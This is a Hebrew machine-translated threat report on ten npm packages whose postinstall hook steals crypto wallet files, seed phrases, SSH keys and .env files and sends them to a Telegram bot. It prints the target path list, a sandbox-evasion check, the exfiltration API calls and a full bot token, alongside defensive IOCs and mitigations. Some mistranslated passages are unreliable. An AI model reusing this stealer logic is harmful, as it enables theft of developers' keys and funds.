TL; DR
ב-9 ביוני 2026, חשבון מפרסם יחיד של npm, aicrypto-xzggg, נשלח עשר חבילות עם שמות בטעם קריפטו ו-Web3 - farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ועוד שישה.
כל חבילה מפעילה את אותו מטען מ-a postinstall hook. בהתקנה, הוא בודק אם הוא פועל בתוך CI או בארגז חול - אם לא, הוא קורא מאגרי מפתחות של ארנק, קבצי seed-phrase, מפתחות SSH ו- .env קבצים משש מערכות אקולוגיות של בלוקצ'יין ומשדר אותם לבוט של טלגרם.
האינדיקטור היחיד שמגן יכול לחפש באופן מיידי הוא מזהה הבוט של טלגרם. 8227918239.
חומרה: קריטי — גניבה ישירה של מפתחות חתימה וביטויי שחזור מ תחנות עבודה למפתחים.
ההתקפה: איך זה עובד
החבילות מפרסמות את עצמן ככלי עזר למפתחי בלוקצ'יין. package.json הוא מינימלי ומצביע על מחזור חיי ההתקנה לסקריפט:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } scripts/postinstall.js הוא פחית בעלת שורה אחת שטוענת את המטען האמיתי: דורש("../src/index.js"). כי לאחר ההתקנה פועל באופן אוטומטי במהלך התקנת npm, אין צורך בייבוא קוד על ידי המפתח - מספיקה הצבת החבילה בעץ תלויות כדי להריץ אותה.
שרשרת ההרג בפנים src / index.js הוא ארבעה שלבים:
- בדיקת סביבה. פונקציית guard מחליטה אם המארח נראה כמו סוכן בנייה או ארגז חול לניתוח.
- לְעַכֵּב. הביצוע נדחה מאחורי setTimeout של בערך 7.4 שניות.
- אוסף. רשימה קבועה של נתיבי קבצים של ארנק, מפתח וקבצים סודיים עוברת; קבצים קיימים מוכנסים לתור.
- סינון. קבצים בתור נשלחים לבוט של טלגרם, לפניהם מופיעה הודעת סיכום.
רשימת יעדי האוסף משתרעת על פני שש שרשראות בתוספת סודות מפתחים גנריים. גזור:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local עשרים ואחד נתיבים בסך הכל. רשומות ספרייה כגון ~/.ethereum/מפתחות מורחבים וכל קובץ שבתוכם נמצא בתור. הסינון משתמש ישירות בממשק ה-API של בוט הטלגרם - א שלח הודעה שיחה עם סיכום מארח וקובץ, ואז א שלח מסמך העלאה מרובת חלקים עבור כל קובץ:
טֶקסט
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) הודעת הסיכום שהקוד מרכיב מתחילה במחרוזת הליטרלית גנב קריפטו, ואחריו שם המארח, שם המשתמש, שם החבילה המקורית, ספירת הקבצים וחותמת הזמן.
מה חדש כאן
המבדיל אינו מנגנון הגניבה - exfil מבוסס טלגרם מ-npm לאחר ההתקנה hooks הוא רמוס היטב. זהו ה- שער הוצאה להורג. לפני ביצוע פעולה כלשהי, המטען קורא לפונקציה שמחזירה true כאשר המארח דומה לרץ CI או ארגז חול, ומחזירה מוקדם כאשר היא כן:
טֶקסט
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) ה-regex הרגולרי של container-id הוא הסעיף הבולט: שם מארח בן 12 תווים הקסדצימליים הוא הצורה המוגדרת כברירת מחדל ש-Docker מקצה ל- מכולה, כך שהמטען מתייחס ל"שם המארח שלי נראה כמו מכולה של Docker" כסיבה להישאר רדום. בשילוב עם העיכוב של שבע שניות, העיצוב מעדיף הפעלה על תחנת עבודה אמיתית של המפתח ושמירה על שקט בכל מקום שנראה כמו ניתוח אוטומטי. שער זה הוא שדיכא את אותות הניתוח הדינמי ושמר על זרימת ה-exfil הסטטית כראיה העיקרית להרשעה.
ציר זמן
| תאריך (UTC) | אירוע |
|---|---|
| 2026-06-09 ~02:48 | החבילות הראשונות באשכול סומנו בעת הפרסום (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | חברים בגרסה גבוהה יותר סומנו בדגל (ethereum-kit-9 בשעה 1.25.36, wallet-sdk-9 בשעה 3.7.73) |
| 2026-06-09 ~03:58–03:59 | חברים סופיים סומנו (defi-tools-39 בשעה 4.26.29, swap-sdk-87 בשעה 4.63.78, farming-tools-12 בשעה 4.68.54) |
| 2026-06-09 | כל עשרת הסווגו כזדוניים ודווחו להסרת הרישום |
כל העשרה צצו תוך כשבעים דקות, בהתאם לפרסום תסריטאי יחיד שרץ מחשבון אחד.
אינדיקטורים לפשרה
אינדיקטורים התנהגותיים ורשתיים (מארח עם חסימות):
| אינדיקטור | ערך |
|---|---|
| נקודת קצה של Exfil | api[.]telegram[.]org (ממשק API של בוט טלגרם) |
| מזהה בוט בטלגרם | 8227918239 |
| אסימון בוט | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| מזהה צ'אט בטלגרם | 6433587894 |
| התקנת וו | postinstall → scripts/postinstall.js → src/index.js |
| מחרוזת סמן | CRYPTO STEALER בהודעת הסיכום המורכבת |
| מוֹצִיא לָאוֹר | aicrypto-xzggg (האימייל המצוין vipsyria88@gmail[.]com, לא מאומת) |
חבילות וגרסאות, כל אחת עם ה-SHA-256 שלה src / index.js payload (המטעני ה-payload זהים מבחינה פונקציונלית ונבדלים רק בתווית שם החבילה המוטמעת, כך שכל hash הוא שונה):
| חֲבִילָה | גִרְסָה | SHA-256 של src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
שאילתת חיפוש פשוטה: חפש יומני התקנה וקובצי נעילה עבור כל אחד מעשרת השמות, וחפש תעבורה יוצאת עבור חיבורים לממשק ה-API של בוט הטלגרם ממארחי בנייה או מפתחים שאינם משתמשים בו בדרך כלל.
ייחוס והתנהגות נצפית
כל עשר החבילות פורסמו על ידי חשבון אחד, aicrypto-xzggg, שכתובת הדוא"ל שלו היא vipsyria88@gmail[.]comגם כתובת הדוא"ל וגם קישור בקרת המקור לא מאומתים במטא-נתונים של הרישום, ולחשבון יש ציון מוניטין שלילי מאוד. לא אישרנו מי מפעיל את החשבון.
שני פרטים ראויים להפרדה מכל טענה לזהות. ראשית, ה package.json מחבר קריאות שדה אלכס סמית ' על כל חבילה, בעוד שחשבון ההוצאה בפועל הוא aicrypto-xzgggשדה המחבר הוא מטא-נתונים המוצהרים על ידי עצמו ואינו קובע את זכויות המחבר. שנית, מספרי הגרסאות משתנים מאוד - חלק מהחברים יושבים ב 1.0.0, אחרים ב 4.68.54 — דבר התואם את השימוש החוזר במטען יחיד על פני שמות חבילות טריים במקום לשמור על היסטוריית שחרור אמיתית.
ההתנהגות אחידה בכל האשכול: אותה רשימת נתיבי יעד, אותו מזהה בוט ומזהה צ'אט בטלגרם, אותו שער סביבה, אותו הדבר גנב קריפטו סמן. אחידות זו היא החוליה החזקה ביותר בין החבילות. זהו אות של אותו מפעיל, לא זהות.
השפעה, מגמות והנחיות למגינים
החשיפה היא קונקרטית. מפתח שמתקין אחת מהחבילות הללו על תחנת עבודה המכילה ארנק תוכנה, קובץ זרעים או מפתח SSH, קבצים אלה נקראים ומשודרים מהמארח תוך שניות. משפטי שחזור ומפתחות חתימה אינם פגים כמו אסימון הפעלה; ברגע ש... mnemonic.txt או סולאנה id.json עוזב את המכונה, הכספים שבשליטתה נמצאים בסיכון עד שיוזזו. אותה ריצה לוכדת גם .v קבצים, אשר נושאים באופן שגרתי מפתחות API ופרטי מסד נתונים.
שתי מגמות עומדות מאחורי אשכול זה. הראשונה היא המשך השימוש בשמות בנושא קריפטו ו-Web3 כדי לחזר אחרי קהל ספציפי - מפתחים ששומרים ארנקים ומפתחות באותה מכונה עליה הם מתקינים תלויות. השנייה היא התבגרות של התחמקות מארגז חול (sandbox) במטענים בזמן ההתקנה. שער שבודק משתני סביבה של CI, שמות משתמש של רצים וצורת שם מארח של מזהה מכולה של Docker הוא מאמץ מכוון להתנהג בצורה שונה תחת ניתוח מאשר בתחנת עבודה אמיתית, והוא מעלה את הרף לזיהוי דינמי גרידא.
עבור המגנים:
התקנה כאשר סקריפטים מושבתים כברירת מחדל. התקנת npm –ignore-scripts, או קבע התעלם-סקריפטים=אמת in .npmrc, מונע לאחר ההתקנה ביצוע; הפעל סקריפטים רק עבור התלויות הספציפיות שבאמת זקוקות להם.
הרחיקו ארנקים ומפתחות חתימה ממכונות בנייה ופיתוח. השתמשו בארנק חומרה או במארח חתימה ייעודי ונטול תלות.
לטפל .v, מאגרי מפתחות וקבצי ביטויי זרע כתכשיטי כתר. אסור שהם יישבו בספרייה שהיא גם התקנת npm עץ עובד.
חפש חיבורים יוצאים לממשק ה-API של בוט הטלגרם מ-CI וממארחי מפתחים. רוב סביבות הבנייה לעולם לא קוראות לזה; כזו שקוראת לזה פתאום, מיד לאחר ההתקנה, שווה בדיקה.
הצמדה וסקירת תלויות. חבילה חדשה לגמרי עם שם קריפטו גנרי, א לאחר ההתקנה hook, ושום קישור למאגר לא מצדיק בדיקה לפני שהוא נכנס לקובץ נעילה.
סעיף ההתחמקות ממזהה המכולה הוא גם תזכורת לאנליסטים: מטען בזמן ההתקנה שנשאר רדום בארגז חול אינו שפיר, הוא סלקטיבי. סקירה סטטית של נתיב ההתקנה נותרה הדרך האמינה לראות מה ביצוע דינמי עשוי לסרב להראות.
הפניות
תיעוד התקנת npm - סקריפטים של מחזור חיים ו –להתעלם מתסריטים— מדריך להשבתת התקנה אוטומטית hooks.





